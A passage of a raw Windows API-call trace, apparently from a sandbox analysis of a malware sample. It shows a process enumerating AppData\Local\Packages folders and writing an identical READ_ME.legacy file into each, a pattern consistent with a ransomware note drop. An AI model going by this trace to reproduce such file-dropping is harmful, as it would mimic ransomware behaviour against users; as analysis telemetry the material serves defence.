SetLastError (dwErrCode=0x0) [0139.364] SetLastError (dwErrCode=0x0) [0139.364] SetLastError (dwErrCode=0x0) [0139.364] GetLastError () returned 0x0 [0139.364] SetLastError (dwErrCode=0x0) [0139.364] SetLastError (dwErrCode=0x0) [0139.364] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.apprep.chxapp_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0139.383] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0139.384] CloseHandle (hObject=0x744) returned 1 [0139.384] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6bfb93d2, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x7962cbd4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7975de94, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy", cAlternateFileName="MICROS~1.ASS")) returned 1 [0139.384] SetLastError (dwErrCode=0x0) [0139.384] GetLastError () returned 0x0 [0139.384] SetLastError (dwErrCode=0x0) [0139.384] SetLastError (dwErrCode=0x0) [0139.384] SetLastError (dwErrCode=0x0) [0139.384] GetLastError () returned 0x0 [0139.384] SetLastError (dwErrCode=0x0) [0139.384] SetLastError (dwErrCode=0x0) [0139.384] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0139.399] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0139.399] CloseHandle (hObject=0x744) returned 1 [0139.400] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74ba56ed, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd05a99ea, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd05a99ea, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy", cAlternateFileName="MICROS~1.CLO")) returned 1 [0139.400] SetLastError (dwErrCode=0x0) [0139.400] GetLastError () returned 0x0 [0139.400] SetLastError (dwErrCode=0x0) [0139.400] SetLastError (dwErrCode=0x0) [0139.400] SetLastError (dwErrCode=0x0) [0139.400] GetLastError () returned 0x0 [0139.400] SetLastError (dwErrCode=0x0) [0139.400] SetLastError (dwErrCode=0x0) [0139.400] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0139.400] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0139.401] CloseHandle (hObject=0x744) returned 1 [0139.401] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7659308d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xddff7455, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xddff7455, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy", cAlternateFileName="MICROS~2.CON")) returned 1 [0139.401] SetLastError (dwErrCode=0x0) [0139.401] GetLastError () returned 0x0 [0139.401] SetLastError (dwErrCode=0x0) [0139.401] SetLastError (dwErrCode=0x0) [0139.401] SetLastError (dwErrCode=0x0) [0139.401] GetLastError () returned 0x0 [0139.401] SetLastError (dwErrCode=0x0) [0139.402] SetLastError (dwErrCode=0x0) [0139.402] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0139.402] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0139.403] CloseHandle (hObject=0x744) returned 1 [0139.403] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814d4f06, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdade5d03, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xdade5d03, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.Windows.Cortana_cw5n1h2txyewy", cAlternateFileName="MICROS~1.COR")) returned 1 [0139.403] SetLastError (dwErrCode=0x0) [0139.403] GetLastError () returned 0x0 [0139.403] SetLastError (dwErrCode=0x0) [0139.403] SetLastError (dwErrCode=0x0) [0139.403] SetLastError (dwErrCode=0x0) [0139.403] GetLastError () returned 0x0 [0139.403] SetLastError (dwErrCode=0x0) [0139.403] GetLastError () returned 0x0 [0139.403] SetLastError (dwErrCode=0x0) [0139.404] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0139.410] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0139.411] CloseHandle (hObject=0x744) returned 1 [0139.411] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75dff3f8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e71ae4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75e71ae4, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy", cAlternateFileName="MICROS~1.HOL")) returned 1 [0139.411] SetLastError (dwErrCode=0x0) [0139.411] GetLastError () returned 0x0 [0139.411] SetLastError (dwErrCode=0x0) [0139.411] SetLastError (dwErrCode=0x0) [0139.411] SetLastError (dwErrCode=0x0) [0139.411] GetLastError () returned 0x0 [0139.412] SetLastError (dwErrCode=0x0) [0139.412] SetLastError (dwErrCode=0x0) [0139.412] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.holographicfirstrun_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0139.542] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0139.544] CloseHandle (hObject=0x744) returned 1 [0139.544] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75403601, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7544fabf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7544fabf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy", cAlternateFileName="MICROS~1.MOD")) returned 1 [0139.544] SetLastError (dwErrCode=0x0) [0139.545] GetLastError () returned 0x0 [0139.545] SetLastError (dwErrCode=0x0) [0139.545] SetLastError (dwErrCode=0x0) [0139.545] SetLastError (dwErrCode=0x0) [0139.545] GetLastError () returned 0x0 [0139.545] SetLastError (dwErrCode=0x0) [0139.545] SetLastError (dwErrCode=0x0) [0139.545] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.modalsharepickerhost_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0139.657] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0139.658] CloseHandle (hObject=0x744) returned 1 [0139.658] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b12964, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b8500e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74b8500e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy", cAlternateFileName="MICROS~2.OOB")) returned 1 [0139.658] SetLastError (dwErrCode=0x0) [0139.658] GetLastError () returned 0x0 [0139.658] SetLastError (dwErrCode=0x0) [0139.658] SetLastError (dwErrCode=0x0) [0139.658] SetLastError (dwErrCode=0x0) [0139.658] GetLastError () returned 0x0 [0139.658] SetLastError (dwErrCode=0x0) [0139.658] SetLastError (dwErrCode=0x0) [0139.658] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.oobenetworkcaptiveportal_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0139.857] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0139.858] CloseHandle (hObject=0x744) returned 1 [0139.858] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x740ca625, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74116aed, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74116aed, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy", cAlternateFileName="MICROS~1.OOB")) returned 1 [0139.858] SetLastError (dwErrCode=0x0) [0139.858] GetLastError () returned 0x0 [0139.858] SetLastError (dwErrCode=0x0) [0139.858] SetLastError (dwErrCode=0x0) [0139.858] SetLastError (dwErrCode=0x0) [0139.858] GetLastError () returned 0x0 [0139.859] SetLastError (dwErrCode=0x0) [0139.859] SetLastError (dwErrCode=0x0) [0139.859] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.oobenetworkconnectionflow_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0139.910] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0139.912] CloseHandle (hObject=0x744) returned 1 [0139.912] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82539239, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x734de9c3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x73a62109, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.Windows.ParentalControls_cw5n1h2txyewy", cAlternateFileName="MICROS~1.PAR")) returned 1 [0139.912] SetLastError (dwErrCode=0x0) [0139.912] GetLastError () returned 0x0 [0139.912] SetLastError (dwErrCode=0x0) [0139.912] SetLastError (dwErrCode=0x0) [0139.912] SetLastError (dwErrCode=0x0) [0139.912] GetLastError () returned 0x0 [0139.912] SetLastError (dwErrCode=0x0) [0139.912] SetLastError (dwErrCode=0x0) [0139.912] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.parentalcontrols_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0139.915] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0139.916] CloseHandle (hObject=0x744) returned 1 [0139.916] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1fcdfb62, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xec8930d8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xecaaa968, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.Windows.Photos_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.PHO")) returned 1 [0139.916] SetLastError (dwErrCode=0x0) [0139.916] GetLastError () returned 0x0 [0139.916] SetLastError (dwErrCode=0x0) [0139.916] SetLastError (dwErrCode=0x0) [0139.916] SetLastError (dwErrCode=0x0) [0139.916] GetLastError () returned 0x0 [0139.916] SetLastError (dwErrCode=0x0) [0139.916] GetLastError () returned 0x0 [0139.916] SetLastError (dwErrCode=0x0) [0139.916] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0140.136] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.137] CloseHandle (hObject=0x744) returned 1 [0140.137] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72644337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x726dcc78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x726dcc78, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.Windows.SecHealthUI_cw5n1h2txyewy", cAlternateFileName="MICROS~3.SEC")) returned 1 [0140.137] SetLastError (dwErrCode=0x0) [0140.137] GetLastError () returned 0x0 [0140.137] SetLastError (dwErrCode=0x0) [0140.137] SetLastError (dwErrCode=0x0) [0140.137] SetLastError (dwErrCode=0x0) [0140.137] GetLastError () returned 0x0 [0140.137] SetLastError (dwErrCode=0x0) [0140.137] GetLastError () returned 0x0 [0140.137] SetLastError (dwErrCode=0x0) [0140.137] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.sechealthui_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0140.209] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.210] CloseHandle (hObject=0x744) returned 1 [0140.210] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8333af6e, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x70e206ba, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x70e206ba, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy", cAlternateFileName="MICROS~1.SEC")) returned 1 [0140.210] SetLastError (dwErrCode=0x0) [0140.210] GetLastError () returned 0x0 [0140.210] SetLastError (dwErrCode=0x0) [0140.210] SetLastError (dwErrCode=0x0) [0140.210] SetLastError (dwErrCode=0x0) [0140.210] GetLastError () returned 0x0 [0140.210] SetLastError (dwErrCode=0x0) [0140.210] SetLastError (dwErrCode=0x0) [0140.210] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secondarytileexperience_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0140.212] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.213] CloseHandle (hObject=0x744) returned 1 [0140.213] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7025ab41, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x702a7000, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x702a7000, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy", cAlternateFileName="MICROS~2.SEC")) returned 1 [0140.214] SetLastError (dwErrCode=0x0) [0140.214] GetLastError () returned 0x0 [0140.214] SetLastError (dwErrCode=0x0) [0140.214] SetLastError (dwErrCode=0x0) [0140.214] SetLastError (dwErrCode=0x0) [0140.214] GetLastError () returned 0x0 [0140.214] SetLastError (dwErrCode=0x0) [0140.214] SetLastError (dwErrCode=0x0) [0140.214] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secureassessmentbrowser_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0140.216] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.217] CloseHandle (hObject=0x744) returned 1 [0140.218] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a66aba6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd6e44f49, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd6e44f49, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy", cAlternateFileName="MICROS~1.SHE")) returned 1 [0140.218] SetLastError (dwErrCode=0x0) [0140.218] GetLastError () returned 0x0 [0140.218] SetLastError (dwErrCode=0x0) [0140.218] SetLastError (dwErrCode=0x0) [0140.218] SetLastError (dwErrCode=0x0) [0140.218] GetLastError () returned 0x0 [0140.218] SetLastError (dwErrCode=0x0) [0140.218] SetLastError (dwErrCode=0x0) [0140.218] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0140.220] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.221] CloseHandle (hObject=0x744) returned 1 [0140.221] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71c949cf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71ce0e7e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x71ce0e7e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.Windows.WindowPicker_cw5n1h2txyewy", cAlternateFileName="MI948A~1.WIN")) returned 1 [0140.221] SetLastError (dwErrCode=0x0) [0140.221] GetLastError () returned 0x0 [0140.221] SetLastError (dwErrCode=0x0) [0140.221] SetLastError (dwErrCode=0x0) [0140.221] SetLastError (dwErrCode=0x0) [0140.221] GetLastError () returned 0x0 [0140.221] SetLastError (dwErrCode=0x0) [0140.221] GetLastError () returned 0x0 [0140.221] SetLastError (dwErrCode=0x0) [0140.222] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.windowpicker_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0140.327] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.328] 